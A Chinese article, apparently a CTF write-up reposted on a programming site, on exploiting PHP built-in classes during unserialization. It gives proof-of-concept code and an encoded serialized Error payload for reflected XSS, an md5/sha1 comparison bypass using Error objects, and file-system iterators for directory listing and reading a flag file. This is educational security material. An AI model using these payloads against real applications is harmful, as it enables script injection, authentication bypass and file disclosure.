iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP原生类的总结分享
  • 421
分享到

PHP原生类的总结分享

php 2023-05-14 19:05:51 421人浏览 泡泡鱼
摘要

本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于原生类的相关内容,下面一起来看一下,希望对大家有帮助。这次HEctf就是一个原生类的题,只有短短三行代码。果然越短小的代码在ctf里越难。首先贴一个遍历php内置类的脚本 <

本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于原生类的相关内容,下面一起来看一下,希望对大家有帮助。

PHP原生类的总结分享

这次HEctf就是一个原生类的题,只有短短三行代码。果然越短小的代码在ctf里越难。

首先贴一个遍历php内置类的脚本

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
    
}

结果:

image.png

整理一下:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JSONException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
Mysqli_sql_exception
PharException
PharData
PharFileInfo

大概就是这些类了,但是在ctf比赛中经常会用到的就是以下几类

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

Error/Exception 内置类进行 XSS

error xss

__toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射形xss漏洞

demo:

<?php
$a = unserialize($_GET['a']);echo $a;

poc

<?php
$a = new Error("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);

输出了一串字符串

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

成功弹窗

image.png

exception xss

Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

<?php
$a = new Exception("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);
?>

和error的pop的构造好像是一样的(exception适用于php5和7,error只适用于php7),把error换成exception就行了。依然成功弹窗

image.png

Error/Exception 内置类绕过哈希比较

通过构造这两个类可以啊绕过md5()和sha1()函数。error和exception都有一个重要方法:_tostring,用于将异常对象转换为字符串。

同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法

<?php
$a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

输出结果

image.png可以看出,payload后面的参数并不影响输出的结果。正是通过这个可以绕过哈希函数。

<?php
$a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo '$a不等于$b'."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

image.png

soapclient

soap的定义

简单对象访问协议含义

这里之所以说是简单,是因为它是基于已经广泛使用的两个协议:Http和XML,所以业界把这种技术称为“它是第一个没有发明任何新技术的技术",之所以说是对象,是因为把访问的WEB服务称为对象,既然服务是对象,那么服务肯定有相关的属性和调用行为,这些属性和行为是通过WSDL来描述的。如果按“简单的对象访问协议”来理解,相比“简单对象访问协议”要容易些

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

php原生文件操作类

目录遍历

DirectoryIterator

__toString 获取字符串形式的文件名 (PHP 5,7,8)

例如:

<?php
$a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.'</br>');
}
echo $a;

image.png输出指定目录里面经过排序之后的第一个文件名

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

<?php
$a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.'<br>';
}

image.png

利用foreach能遍历所有的文件

<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

image.png

多一个斜杠,目录往前一个。

FilesystemIterator 类

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

该类的使用方法与DirectoryIterator 类也是基本相同的:

<?php
$a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

image.png

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php
$a = new SplFileObject('flag.txt');
echo $a;

image.png输出多行

<?php
$a = new SplFileObject('flag.txt');
foreach($a as $f){
    echo($f);
}

image.png

以上就是PHP原生类的总结分享的详细内容,更多请关注编程网其它相关文章!

--结束END--

本文标题: PHP原生类的总结分享

本文链接: https://www.lsjlt.com/news/203555.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PHP原生类的总结分享
    本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于原生类的相关内容,下面一起来看一下,希望对大家有帮助。这次HEctf就是一个原生类的题,只有短短三行代码。果然越短小的代码在ctf里越难。首先贴一个遍历php内置类的脚本 <...
    99+
    2023-05-14
    php
  • PHP数组函数总结分享
    PHP数组函数总结分享,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。这几天在网上看了很多有关PHP数组函数的相关知识,觉得孔老夫子的“温故而知新”果然不假,这里...
    99+
    2023-06-17
  • 【总结分享】高效的PHP循环查询子分类的方法
    在Web开发领域中,分类查询是一个很常见的需求,无论是电商平台还是内容管理系统,都存在着以分类为基础的数据展示方式。而随着分类层数的增加,查询子分类的任务也变得越来越复杂。本文将介绍一种高效的PHP循环查询子分类的方法,帮助开发者们轻松实现...
    99+
    2023-05-14
    php 循环
  • PHP安全编码总结(经验分享)
    本篇文章给大家带来了关于PHP安全的相关知识,其中主要介绍了什么是SQL注入?盲注是怎么使用的?常用检测命令有哪些等等,下面一起来看一下,希望对需要的朋友有所帮助。PHP 安全编码总结笔记SQL注入: 代码中的 HTTP_X_FORWARD...
    99+
    2023-05-14
    php 安全
  • PHP原生类
    什么是php原生类 原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类 我们可以通过脚本找一下php原生类 这个反序列化没有任何可以直接利用的魔法函数,只有一个wakeup可以进入 ech...
    99+
    2023-09-05
    php 开发语言
  • php写入txt文件乱码的原因和解决方法【总结分享】
    在PHP中,写入文本文件是一个常见的任务。然而,在写入文本文件时,你可能会遇到乱码的问题。本文将为您介绍如何解决PHP写入文本文件时的乱码问题。问题描述当使用PHP写入文本文件时,如果文件内容包含非ASCII字符(如中文字符),就有可能遇到...
    99+
    2023-05-14
    php 文件操作
  • 【总结分享】golang中常见的类型转换方法
    Golang是一种强类型的编程语言,因此在处理不同类型之间的数据时,需要进行类型转换。本文将介绍Golang中常见的类型转换方法。数字类型转换在Golang中,数字类型转换是最常见的类型转换。常见的数字类型包括int、float32和flo...
    99+
    2023-05-14
    类型转换 Golang go语言
  • 分享ORACLE SEQUENCE跳号总结
    在ORACLE数据库中,序列(SEQUENCE)是使用非常频繁的一个数据库对象,但是有时候会遇到序列(SEQUECNE)跳号(skip sequence numbers)的情形,那么在哪些情形下会遇到跳号呢...
    99+
    2024-04-02
  • JavaScript总结分享之闭包
    以上就是JavaScript总结分享之闭包的详细内容,更多请关注编程网其它相关文章!...
    99+
    2022-11-22
    前端 JavaScript
  • SAP生产订单归类总结
    以下内容是从网上转载加以总结1.生产订单抬头文件中的调度类型:    --1.向前:知道开始日期,自动计算完成日期。    --2.向后:知道完成日期,自动计算开始日期。    -...
    99+
    2023-06-05
  • MySQL 常用引擎总结分享
    目录1.InnoDB1.1 优缺点分析2.MyISAM2.1 优缺点分析3.MEMORY3.1 优缺点分析4.查看和设置存储引擎4.1 查看存储引擎4.2 设置存储引擎总结前言: M...
    99+
    2024-04-02
  • php查询类的方法总结
    本教程操作环境:windows7系统、PHP7.1版、DELL G3电脑 在php中,可以使用get_class_methods()函数来查询类里面有哪些方法。 get_class_...
    99+
    2024-04-02
  • MongoDB索引类型汇总分享
    目录单字段索引在单个字段上创建升序索引在嵌入式字段上创建索引在内嵌文档上创建索引复合索引多键索引文本索引2dsphere索引创建测试数据添加2dsphere索引利用2dsphere索...
    99+
    2024-04-02
  • Python正则表达式总结分享
    目录1. 正则表达式基础1.1. 简单介绍1.2. 数量词的贪婪模式与非贪婪模式1.3. 反斜杠的困扰1.4. 匹配模式2. re模块2.1. 开始使用re2.2. Match2.3...
    99+
    2024-04-02
  • PHP反序列化原生类实例分析
    这篇文章主要介绍“PHP反序列化原生类实例分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP反序列化原生类实例分析”文章能帮助大家解决问题。浅析php反序列化原生类的利用如果在代码审计或者ct...
    99+
    2023-06-30
  • PHP 日志实战:学习笔记分享与实践总结!
    作为 PHP 开发者,我们经常需要记录应用程序的运行状态、错误信息和调试信息等。这些信息对于开发人员来说是非常有价值的,因为它们可以帮助我们快速定位问题并进行修复。在 PHP 中,我们可以通过使用日志系统来实现这一目标。 本文将介绍 PH...
    99+
    2023-08-04
    日志 学习笔记 面试
  • 详细总结Java中常用的原子类
    目录一、什么是原子类二、原子类的底层实现三、常用的原子类3.1 AtomicInteger与AtomicLong3.2 LongAdder四、原子类的性能测试4.1 测试程序4.2 ...
    99+
    2024-04-02
  • 简单实用的原生PHP分页类是怎样的
    本篇文章为大家展示了简单实用的原生PHP分页类是怎样的,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。一款简单实用的原生PHP分页类,分页按钮样式简洁美观,页码多的时候显示“...”,也是挺多网站用的...
    99+
    2023-06-04
  • JavaScript逆向调试技巧总结分享
    目录前言一、加密分析二、调试技巧1、日志分析2、常见算法2.1)MD52.2)Base642.3)进制处理三、Chrome 调试技巧总结前言 前段时间尝试对某音的 PC 端进行了逆向...
    99+
    2024-04-02
  • 探讨总结一些PHP-FPM不生效的原因和解决方法
    PHP-FPM是一种常用的FastCGI管理器,很多网站都使用它来处理PHP脚本,但有时我们会碰到PHP-FPM不生效的情况。在这篇文章中,我将会探讨一些可能的原因以及如何解决这些问题。首先,我们需要验证PHP-FPM是否在运行中。可以通过...
    99+
    2023-05-14
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作